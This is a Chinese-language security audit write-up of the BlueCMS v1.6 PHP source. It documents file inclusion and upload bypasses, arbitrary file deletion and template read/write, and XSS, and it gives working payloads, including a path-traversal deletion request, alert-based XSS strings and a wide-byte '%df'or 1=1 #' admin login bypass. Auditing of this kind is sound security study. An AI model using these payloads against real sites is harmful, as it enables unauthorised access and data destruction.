环境搭建

要求php版本5.x,否则smarty无法正常渲染

目录结构

image-20230310144433733

index.php

1
2
3
define("IN_BLUE",true);
require_once('include/common.inc.php');
require_once(BLUE_ROOT.'include/index.fun.php');

跟进一下common.inc.php

这里配置了全局过滤

1
2
3
4
5
6
7
if(!get_magic_quotes_gpc())//magic_quotes_gpc = Off在5.3.4之前默认Off,可以00截断文件名,5.4后删除了
{
$_POST = deep_addslashes($_POST);
$_GET = deep_addslashes($_GET);//内置检查数组并使用了addslashes
$_COOKIES = deep_addslashes($_COOKIES);
$_REQUEST = deep_addslashes($_REQUEST);
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
function deep_addslashes($str)
{
if(is_array($str))
{
foreach($str as $key=>$val)
{
$str[$key] = deep_addslashes($val);
}
}
else
{
$str = addslashes($str);
}
return $str;
}

里面除了一些小功能点和模板配置就是这段登录鉴权代码了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
if(!$_SESSION['user_id'])
{
if($_COOKIE['BLUE']['user_id'] && $_COOKIE['BLUE']['user_name'] && $_COOKIE['BLUE']['user_pwd'])
{
if(check_cookie($_COOKIE['BLUE']['user_name'], $_COOKIE['BLUE']['user_pwd']))
{
update_user_info($_COOKIE['BLUE']['user_name']);
}
}
else if($_COOKIE['BLUE']['user_name'])
{
$user_name = $_COOKIE['BLUE']['user_name'];
$user = $db->query("SELECT COUNT(*) AS num FROM ".table('user')." WHERE user_name='$user_name'");//如果用二次注入可用尝试一下
if($user['num'] == 1)
{
$active = 0;
}
else
{
$active = 1;
}
}
else
{
setcookie("BLUE[user_id]", '', -86400, $cookiepath, $cookiedomain);
setcookie("BLUE[user_name]", '', -86400, $cookiepath, $cookiedomain);
setcookie("BLUE[user_pwd]", '', -86400, $cookiepath, $cookiedomain);
}
}
$smarty->assign('user_name', $_SESSION['user_name']);

if ($_CFG['gzip'] == 1 && function_exists('ob_gzhandler'))
{
ob_start('ob_gzhandler');
}
else
{
ob_start();
}

check_cookie

1
2
3
4
5
6
7
function check_cookie($user_name, $pwd){
global $db, $_CFG;
$sql = "SELECT pwd FROM ".table('user')." WHERE user_name='$user_name'";//这里可用二次注入尝试
$user = $db->getone($sql);
if(md5($user['pwd'].$_CFG['cookie_hash']) == $pwd) return true;
else return false;
}

getone($sql);

1
2
3
4
5
function getone($sql, $type=MYSQL_ASSOC){
$query = $this->query($sql,$this->linkid);
$row = mysql_fetch_array($query, $type);//没办法堆叠注入
return $row;
}

query($sql,$this->linkid);

1
2
3
4
5
6
7
function query($sql){
if(!$query=@mysql_query($sql, $this->linkid)){//不可以报错注入
$this->dbshow("Query error:$sql");
}else{
return $query;
}
}

$_CFG来自get_config,可见这里的$_CFG['cookie_hash']来自数据库原始的config表,拿不到(后面宽字节可以注出来:hear_no_evil:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
function get_config()
{
global $db;
$config_arr = array();
$config_arr = read_static_cache('config.cache');
if($config_arr === false)
{
$sql = "SELECT * FROM ".table('config');
$arr = $db->getall($sql);
foreach($arr as $key=> $val)
{
$config_arr[$val['name']] = $val['value'];
}
write_static_cache('config.cache', $config_arr);
}
return $config_arr;
}

admin

进index.php

1
require_once(dirname(__FILE__) . "/include/common.inc.php");

common.inc.php存在admin鉴权操作

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
if(empty($_SESSION['admin_id']) && $_REQUEST['act'] != 'login' && $_REQUEST['act'] != 'do_login' && $_REQUEST['act'] != 'logout'){
if($_COOKIE['Blue']['admin_id'] && $_COOKIE['Blue']['admin_name'] && $_COOKIE['Blue']['admin_pwd']){
if(check_cookie($_COOKIE['Blue']['admin_name'], $_COOKIE['Blue']['admin_pwd'])){
update_admin_info($_COOKIE['Blue']['admin_name']);
}
}else{
setcookie("Blue[admin_id]", '', 1, $cookiepath, $cookiedomain);
setcookie("Blue[admin_name]", '', 1, $cookiepath, $cookiedomain);
setcookie("Blue[admin_pwd]", '', 1, $cookiepath, $cookiedomain);
echo '<script type="text/javascript">top.location="login.php?act=login";</script>';
exit();
}
}elseif($_SESSION['admin_id']){
update_admin_info($_SESSION['admin_name']);
}

check_cookie还是过不去

文件包含

user.php

1
2
3
4
5
6
7
8
9
10
elseif ($act == 'pay'){
include 'data/pay.cache.php';
$price = $_POST['price'];
$id = $_POST['id'];
$name = $_POST['name'];
if (empty($_POST['pay'])) {
showmsg('对不起,您没有选择支付方式');
}
include 'include/payment/'.$_POST['pay']."/index.php";
}

deep_addslashes转义了%00

1
php<5.3.4   magic_quote为OFF

那么可用长度截断

1
2
3
windows下目录路径最大长度为256字节
Linux下目录最大长度为4096字节
php<5.2.9

可以配合头像上传包含图片马拿shell了

文件上传

user.php

1
2
3
4
if(isset($_FILES['face_pic2']['error']) && $_FILES['face_pic2']['error'] == 0){
$face_pic = $image->img_upload($_FILES['face_pic2'],'face_pic');
}
$face_pic = empty($face_pic) ? '' : $face_pic;

img_upload($_FILES['face_pic2'],'face_pic');

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
	private $allow_image_type = array('image/jpeg', 'image/gif', 'image/png', 'image/pjpeg');
private $extension_name_arr = array('jpg', 'gif', 'png', 'pjpeg');

function img_upload($file, $dir = '', $imgname = ''){
if(empty($dir)){
$dir = BLUE_ROOT.DATA.UPLOAD.date("Ym")."/";
}else{
$dir = BLUE_ROOT.DATA.UPLOAD.$dir."/";
}
if(!in_array($file['type'],$this->allow_image_type)){
echo '<font style="color:red;">不允许的图片类型</font>';
exit;
}
if(empty($imgname)){
$imgname = $this->create_tempname().'.'.$this->get_type($file['name']);
}
if(!file_exists($dir)){
if(!mkdir($dir)){
echo '<font style="color:red;">上传过程中创建目录失败</font>';
exit;
}
}
$imgname = $dir . $imgname;

if($this->uploading($file['tmp_name'], $imgname)){
return str_replace(BLUE_ROOT, '', $imgname);
}else{
echo '<font style="color:red;">上传图片失败</font>';
exit;
}

}

这里限制了文件后缀%00截断

或者用长度截断了

1
php< php 5.2.8

任意文件删除

link.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
elseif($act == 'do_edit'){
$link_name = !empty($_POST['link_name']) ? trim($_POST['link_name']) : '';
$link_site = !empty($_POST['link_site']) ? trim($_POST['link_site']) : '';
$show_order = !empty($_POST['show_order']) ? intval($_POST['show_order']) : 0;

if (!empty($_POST['link_logo'])){
if (strpos($_POST['link_logo'], 'http://') != false && strpos($_POST['link_logo'], 'https://') != false){
showmsg('只支持本站相对路径地址');
}
else{
$link_logo = trim($_POST['link_logo']);
}
}else{
if(file_exists(BLUE_ROOT.$_POST['link_logo2'])){
@unlink(BLUE_ROOT.$_POST['link_logo2']);
}
}

$_POST['link_logo2']

1
2
/admin/link.php
link_logo2=/../../../../../../aaa.txt&act=do_edit

文件读取/写入

image-20230309215831038

tpl_manager.php

主要看这两块

任意文件读取

1
2
3
4
5
6
7
8
9
10
11
12
elseif($act == 'edit'){
$file = $_GET['tpl_name'];
if(!$handle = @fopen(BLUE_ROOT.'templates/default/'.$file, 'rb')){//直接拼接了
showmsg('打开目标模板文件失败');
}
$tpl['content'] = fread($handle, filesize(BLUE_ROOT.'templates/default/'.$file));//这不随便读?
$tpl['content'] = htmlentities($tpl['content'], ENT_QUOTES, GB2312);
fclose($handle);
$tpl['name'] = $file;
template_assign(array('current_act', 'tpl'), array('编辑模板', $tpl));
$smarty->display('tpl_info.htm');
}

任意文件写入

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
elseif($act == 'do_edit'){
$tpl_name = !empty($_POST['tpl_name']) ? trim($_POST['tpl_name']) : '';
$tpl_content = !empty($_POST['tpl_content']) ? deep_stripslashes($_POST['tpl_content']) : '';
if(empty($tpl_name)){
return false;
}
$tpl = BLUE_ROOT.'templates/default/'.$tpl_name;
if(!$handle = @fopen($tpl, 'wb')){
showmsg("打开目标模版文件 $tpl 失败");
}
if(fwrite($handle, $tpl_content) === false){
showmsg('写入目标 $tpl 失败');
}
fclose($handle);
showmsg('编辑模板成功', 'tpl_manage.php');
}

deep_stripslashes($_POST['tpl_content'])

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
function deep_stripslashes($str)
{
if(is_array($str))
{
foreach($str as $key => $val)
{
$str[$key] = deep_stripslashes($val);
}
}
else
{
$str = stripslashes($str);
}
return $str;
}

stripslashes:

返回一个去除转义反斜线后的字符串(' 转换为 等等)。双反斜线(\)被转换为单个反斜线(**)

啊这….直接把$_POST = deep_addslashes($_POST);的作用清除了,这不随便写?

image-20230309215831034

果然没有被转义

image-20230309220012783

xss

ad_js.php

1
2
3
4
5
6
7
8
9
10
11
12

define('IN_BLUE', true);
require_once dirname(__FILE__) . '/include/common.inc.php';//里面定义了 error_reporting(E_ERROR );

$ad_id = !empty($_GET['ad_id']) ? trim($_GET['ad_id']) : '';
if(empty($ad_id))
{
echo 'Error!';
exit();
}

$ad = $db->getone("SELECT * FROM ".table('ad')." WHERE ad_id =".$ad_id);
1
Error:Query error:SELECT * FROM blue_ad WHERE ad_id =<script>alert(1)</script><br><br>

image-20230310142709505

user.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
elseif ($act == 'do_add_news') {
include_once 'include/upload.class.php';
$image = new upload();
$title = !empty($_POST['title']) ? htmlspecialchars(trim($_POST['title'])) : '';
$color = !empty($_POST['color']) ? htmlspecialchars(trim($_POST['color'])) : '';
$cid = !empty($_POST['cid']) ? intval($_POST['cid']) : '';
if(empty($cid)){
showmsg('新闻分类不能为空');
}
$author = !empty($_POST['author']) ? htmlspecialchars(trim($_POST['author'])) : $_SESSION['admin_name'];
$source = !empty($_POST['source']) ? htmlspecialchars(trim($_POST['source'])) : '';//实体转义无法xss
$content = !empty($_POST['content']) ? filter_data($_POST['content']) : '';
$descript = !empty($_POST['descript']) ? mb_substr($_POST['descript'], 0, 90) : mb_substr(html2text($_POST['content']),0, 90);
if(isset($_FILES['lit_pic']['error']) && $_FILES['lit_pic']['error'] == 0){
$lit_pic = $image->img_upload($_FILES['lit_pic'],'lit_pic');
}
$lit_pic = empty($lit_pic) ? '' : $lit_pic;
if(!empty($lit_pic)){
$lit_pic = $image->small_img($lit_pic, 200, 115);
}

filter_data($_POST['content'])

1
2
3
4
5
function filter_data($str)
{
$str = preg_replace("/<(\/?)(script|i?frame|meta|link)(\s*)[^<]*>/", "", $str);
return $str;
}

可以用a,img标签

1
<a href=javascript:alert(1)>yunying</a>
1
<img src=1 onerror=alert(1)>

注册

注册页面的邮箱用bp绕过前台也可以打xss

image-20230310144153250

SQL注入探索

无引号型

uploads/install/include/common.inc.php下用了GBK,全局查找一下包含它的文件,发现只有在安装环境时有…….没啥用(后面发现没用的是我)

1
2
3
4
define('BLUE_PRE','blue_');
define('BLUE_CHARSET', 'gb2312');//用了GB2312唉
define('BLUE_VERSION', 'v1.6');
define('BLUE_UPDATE_NO', '20100210');

image-20230309221318617

无单引号保护那就意味着不需要闭合。。。忽然有了希望

ad_js.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
define('IN_BLUE', true);
require_once dirname(__FILE__) . '/include/common.inc.php';

$ad_id = !empty($_GET['ad_id']) ? trim($_GET['ad_id']) : '';
if(empty($ad_id))
{
echo 'Error!';
exit();
}
$ad = $db->getone("SELECT * FROM ".table('ad')." WHERE ad_id =".$ad_id);//不能报错和堆叠
if($ad['time_set'] == 0)
{
$ad_content = $ad['content'];
}
else
{
if($ad['end_time'] < time())
{
$ad_content = $ad['exp_content'];
}
else
{
$ad_content = $ad['content'];
}
}
$ad_content = str_replace('"', '\"',$ad_content);
$ad_content = str_replace("\r", "\\r",$ad_content);
$ad_content = str_replace("\n", "\\n",$ad_content);
echo "<!--\r\ndocument.write(\"".$ad_content."\");\r\n-->\r\n";

正常注入就可以

image-20230309230232826

image-20230309230417783

宽字节注入

admin.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
elseif($act == 'do_login'){
$admin_name = isset($_POST['admin_name']) ? trim($_POST['admin_name']) : '';
$admin_pwd = isset($_POST['admin_pwd']) ? trim($_POST['admin_pwd']) : '';
$remember = isset($_POST) ? intval($_POST['rememberme']) : 0;
if($admin_name == ''){
showmsg('用户名不能为空');
}
if($admin_pwd == ''){
showmsg('用户密码不能为空');
}
if(check_admin($admin_name, $admin_pwd)){
update_admin_info($admin_name);
if($remember == 1){
setcookie('Blue[admin_id]', $_SESSION['admin_id'], time()+86400);
setcookie('Blue[admin_name]', $admin_name, time()+86400);
setcookie('Blue[admin_pwd]', md5(md5($admin_pwd).$_CFG['cookie_hash']), time()+86400);
}
}else{
showmsg('您输入的用户名和密码有误');
}
showmsg('欢迎您 '.$admin_name.' 回来,现在将转向管理中心...', 'index.php');
}

check_admin($admin_name, $admin_pwd)

1
2
3
4
5
6
7
8
9
10
11
12
13
function check_admin($name, $pwd)
{
global $db;
$row = $db->getone("SELECT COUNT(*) AS num FROM ".table('admin')." WHERE admin_name='$name' and pwd = md5('$pwd')");
if($row['num'] > 0)
{
return true;
}
else
{
return false;
}
}
1
admin_name=%df'or 1=1 #

:smile:

image-20230310140305908

尽管我的数据库显示UTF8但是网站配置数据库时设置的GB2312当然会在全局生效……

而且在index.php中的配置文件也设置了数据库GB2312

1
2
3
4
$fp = @fopen(BLUE_ROOT . 'data/config.php', 'wb+');
if (!$fp){
install_showmsg('打开配置文件失败');
}

image-20230310142141382